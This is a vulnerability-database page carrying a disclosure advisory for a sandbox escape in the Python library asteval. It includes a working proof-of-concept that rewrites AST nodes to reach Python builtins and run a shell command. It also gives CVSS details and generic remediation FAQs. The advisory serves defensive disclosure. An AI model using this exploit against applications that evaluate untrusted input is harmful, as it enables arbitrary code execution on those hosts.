Vulnerability Database

357,869

Total vulnerabilities in the database

ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape — asteval

Time-of-check Time-of-use (TOCTOU) Race Condition

Summary

If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.

Details

The vulnerability is rooted in how asteval performs attribute access verification. In particular, the on_attribute node handler prevents access to attributes that are either present in the UNSAFE_ATTRS list or are formed by names starting and ending with __, as shown in the code snippet below:

def on_attribute(self, node): # ('value', 'attr', 'ctx') """Extract attribute.""" ctx = node.ctx.__class__ if ctx == ast.Store: msg = "attribute for storage: shouldn't be here!" self.raise_exception(node, exc=RuntimeError, msg=msg) sym = self.run(node.value) if ctx == ast.Del: return delattr(sym, node.attr) # unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) if not unsafe: for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items(): unsafe = isinstance(sym, dtype) and node.attr in attrlist if unsafe: break if unsafe: msg = f"no safe attribute '{node.attr}' for {repr(sym)}" self.raise_exception(node, exc=AttributeError, msg=msg) else: try: return getattr(sym, node.attr) except AttributeError: pass

While this check is intended to block access to sensitive Python dunder methods (such as __getattribute__), the flaw arises because instances of the Procedure class expose their AST (stored in the body attribute) without proper protection:

class Procedure: """Procedure: user-defined function for asteval. This stores the parsed ast nodes as from the 'functiondef' ast node for later evaluation. """ def __init__(self, name, interp, doc=None, lineno=0, body=None, args=None, kwargs=None, vararg=None, varkws=None): """TODO: docstring in public method.""" self.__ininit__ = True self.name = name self.__name__ = self.name self.__asteval__ = interp self.raise_exc = self.__asteval__.raise_exception self.__doc__ = doc self.body = body self.argnames = args self.kwargs = kwargs self.vararg = vararg self.varkws = varkws self.lineno = lineno self.__ininit__ = False

Since the body attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a Procedure during runtime to leverage unintended behaviour.

The exploit works as follows:

  1. The Time of Check, Time of Use (TOCTOU) Gadget:

    In the code below, a variable named unsafe is set based on whether node.attr is considered unsafe:

    unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__')))
  2. Exploiting the TOCTOU Gadget:

    An attacker can abuse this gadget by hooking any Attribute AST node that is not in the UNSAFE_ATTRS list. The attacker modifies the node.attr.startswith function so that it points to a custom procedure. This custom procedure performs the following steps:

    • It replaces the value of node.attr with the string "__getattribute__" and returns False.
    • Thus, when node.attr.startswith('__') is evaluated, it returns False, which causes the condition to short-circuit and sets unsafe to False.
    • However, by that time, node.attr has been changed to "__getattribute__", which will be used in the subsequent getattr(sym, node.attr) call. An attacker can then use the obtained reference to sym.__getattr__to retrieve malicious attributes without needing to pass the on_attribute checks.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter aeval = Interpreter() code = """ ga_str = "__getattribute__" def lender(): a b def pwn(): ga = lender.dontcare init = ga("__init__") ga = init.dontcare globals = ga("__globals__") builtins = globals["__builtins__"] importer = builtins["__import__"] importer("os").system("whoami") def startswith1(str): # Replace the attr on the targeted AST node with "__getattribute__" pwn.body[0].value.attr = ga_str return False def startswith2(str): pwn.body[2].value.attr = ga_str return False n1 = lender.body[0] n1.startswith = startswith1 pwn.body[0].value.attr = n1 n2 = lender.body[1] n2.startswith = startswith2 pwn.body[2].value.attr = n2 pwn() """ aeval(code)
  • Published: Jan 23, 2025
  • Updated: Apr 30, 2025
  • GHSA: GHSA-vp47-9734-prjw
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: High
  • Score: 8.4
  • AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.